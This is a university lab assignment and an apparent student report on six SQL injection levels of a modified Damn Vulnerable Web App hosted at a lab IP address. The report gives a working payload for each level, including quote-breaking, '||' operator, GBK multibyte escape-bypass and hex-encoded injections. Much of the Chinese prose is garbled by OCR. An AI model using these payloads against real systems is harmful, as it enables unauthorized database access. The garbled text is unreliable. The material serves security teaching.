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1.Finish all six challenge on the website,or give the reason why the protection is unbreakable(need an experiment report ).

2(Extended work).Tell me why [input = a’ or “1=1’ or ‘“1=1] doesn’t work on the login website in your experiment report.
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o FFESZIGM T hitp:/202.38.79.49:8888/login.php
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Username

Passwon

Login |

o ZEHRIAERINA B %
Username: admin
Password: admin

o BMINBANRLA! RAFHEWT:
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Setup

SQL Injection

SQL Injection (Blind)

Security Level

Logout

Modified Damn Vulnerable Web App

You have to finish all 6 level SQL injection(non-Blind mode). This is hacker's Blank Filling game.

If you want to do the extended work take your computer to my lab to copy the 5GB vmware machine.

Web page is coded by PHPS and we use mysgl.But you don't need a lot of pre-knowledeges about them. Take it easy.
Use Security Level Setting to change the game's level.

Use View Source to get the source of current level This can make life easier.

Please DO NOT intend to inject some DELETE/NSERT stuff. And you can use SETUP to recover the database But
again, DO NOT try to change the database

Have fun :)

Email

occia@mail ustc.edu.cn

Lab Location

Dian San Lou713 and 716.

You have logged in as 'admin’

1B ZLE% N1 Security Level =1.
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Home

Setup

SQL Injection (Blind)
Security Level

Logout

Username: admin
Security Level: 1
PHPIDS: disabled

Vulnerability: SQL Injection

User ID:

[ Submit |

More info

View Source ' View Help

o S A TAK view Source , BEEPHPER G & $¥E FE IR



o MRAEU LA H, WURA ¢$id BEMIFFEEITqUEN, [ User 1D XAEFBAEHFFFE 1=1 or 1=1 URLFIHEZR AL
T http://202.38.79.49:8888/vulnerabilities/sqli/?id=1=1+or+1=1&Submit=Submit JRE U T HHEERE R

ID:
Surname:
ID:
Surname:
ID:
Surname:
ID:
Surname:
ID:

Surname:

Level 13 E NI -

2B BLRE%%N2: Security Level =2.




o i FAN view Source B EPHPER G & BUE FE IR

o ¥4 Security Level = 2f1fX1% 5 Security Level = 1R HEAT L, RIME—HIX FIHR 11 $getid R 2 WHERE user_id
= $id M2 $getid ZWEF & WHERE user_id = '$id' , 2 TH5| 5. TRWLLKEMAEMELN abc' or '1=1 K855
T JERE. URLMIHEAERL T http://202.38.79.49:8888/vulnerabilities/sqli/?id=abc ' +or+'1=1&Submit=Submit ,JREUTF
Bl RS R




Level 27 A\ p3h .

3B RL%E % AN3: Security Level =3.

o i A THAK View Source , BEEPHPER G & s E IR

o % Security Level = 3K1Xf5 5 Security Level = 12D HEAT LLE, KISHIRILZ T —BRIENRIERKAE if
(preg_match('/ |\'/',$id)) EXMNEMRERPIE E, MR sid TEPEFSHEE LIS, NEH #iRER contain
invalid characters. . TRBMNZAFHSEMAG] SHTEN, BWAEBREICY 1|1 FA || BAREERRF, LiE
E}\O

o JEi, URLMIHEZERL T hitp://202.38.79.49:8888/vulnerabilities/sqli/?id=1=1+or+1=1&Submit=Submit, 3k 40 F 35 EE
B



http://202.38.79.49:8888/vulnerabilities/sqli/?id=1=1+or+1=1&Submit=Submit

ID:

Surname:

ID:

Surname:

ID:

Surname:

ID:

Surname:

ID:

Surname:

Level 37E AN R .

AR BRE%% N4 Security Level =4.

o HiiA TAMN view Source , BEEPHPERE G & ¥ E VR



o K Security Level = 4/1fXfi% 5 Security Level = 1FIARESEAT L, KI4MARE L T—BRiIEH): $id =
mysql_real escape_string($id); ,BRA%I mysql real escape_string FERN T HIEEHEN. UAEREHRBESEEE, ¥
EEIBEA R AT \x00 \n \r \ ' " \xla WRHI), MXRHOR EEE KRS mRRM, NERE
false. HBEABABBEEEFRINE, WKIHRE TR, MR 2k iR %, KIAREFERE LETRNE. BBl HEA
EAPAEERKRFES, KATUURINEN, FIHMLevel FAHFIKIEA) 1=1 or 1=1 BTN, BE, URLMOEZAR AL
T http://202.38.79.49:8888/vulnerabilities/sqli/?id=1]||1&Submit=Submit ZKB MM T EIEEZE.:



ID:

Surname:

ID:

Surname:

ID:

Surname:

ID:

Surname:

ID:

Surname:

Level 47 E N3 .

5. 8% &% % N5: Security Level =5.

o HiiA TAMN view Source , BEEPHPERE G & ¥ E VR






¢ M Security Level = 5f11%5% 5 Security Level = 4RG3 47 AL, KRIMSHARIGE T —BIEHA): mysql_query('SET NAMES
gbk'); HZE $getid ) $id BEFHLMLevel 2—HRAHIFISH . N EBEARRIDIREN gbk FRATAT LA MFH 55
FRENK T RRIRIEAE E N A . Wit $id [HN abc%df%27%200r%201=1%20%23 ,F-4& HurlHh bt
A http://202.38.79.49:8888/vulnerabilities/sqli/?id=abc%df%27%200r%201=1%20%23&Submit=Submit K750~ % &
ER:

Vulnerability: SQL Injection

User ID:

| Submit

ID: abellyT br 3=F ¥
First name: admin
Surname: admin

Eh: abelly? ar 1= §
First name: Gordon
Surname: Brown

Eh: abelly? ar 1=f §
First name: Hack
Surname: Me

Eh: abelly? ar 1= §
First name: Pablo
Surname: Picasso

Eh: abelly? ar 1=F §
First name: Bob
Surname: Smith

PN R 3R R B T %dffZd # S $imysql_real_escape_string()4ifi3 2 5 # N\ T 88\ 4L %5CTE B 55 55
B %df%5¢, REIhHIZEE T %5¢,15 PAik %27 i 55| 5 1A k3 .

Level 53 AN B3 .

6.1 B % 4% % N Security Level =6.
o A AWM view Source B EPHPER: G & HUIE FE VRS



¥ Security Level = 6/#111XHS 5 Security Level = 4IRS #EATHLE, KIM6HIRIBZ T —BRiEH): $id =
stripslashes($id); ,stripslashes() & ¥l Himysql_real_escape_string() ¥R R BT, 0RA R ELK R
» MR EE—A

X B A B IXAERER? X2 B FENghZi 3T, PHPHImagic_quotes_gpc#l B3I on, magic_quotes_gpcHifx A
BARBIS, FEEZE, TUXHAERGET. POSTHMCOOKIES:HE %35 B 5higTaddslashes() i, B bAIX B 4 B {g

stripslashes()& $ % k. magic_quotes_gpcHhRE7EPHP5.3.04F B4R F H HES54. 00 BB T, XN AZEDVWA
r—E 52 IA# Fmysql_real_escape_string ()& B0k AT i 38 1K) JR B IE

FEMERTURIL, EPATEWZAT, HH TiREARET AN, AWK HER —ANis_numeric()eR$, k=2 A P %\ B3
BWRERHFH, REFARPFRM —MIRE, XFEH%and. or. selectFiBA)HTIERAT T -

RIGEEBPITERR, BERSIdRZFE., 2EXFERERHY, XHETEMRBEENT .

FiibhLevel 611 f5 & IS E 42 256 o #E L SE RN
(#h7E: RIXB1 or 1IEA BN 163 H10x31206f72203 14 N B8 EE#EAT & #), BRFA RD).
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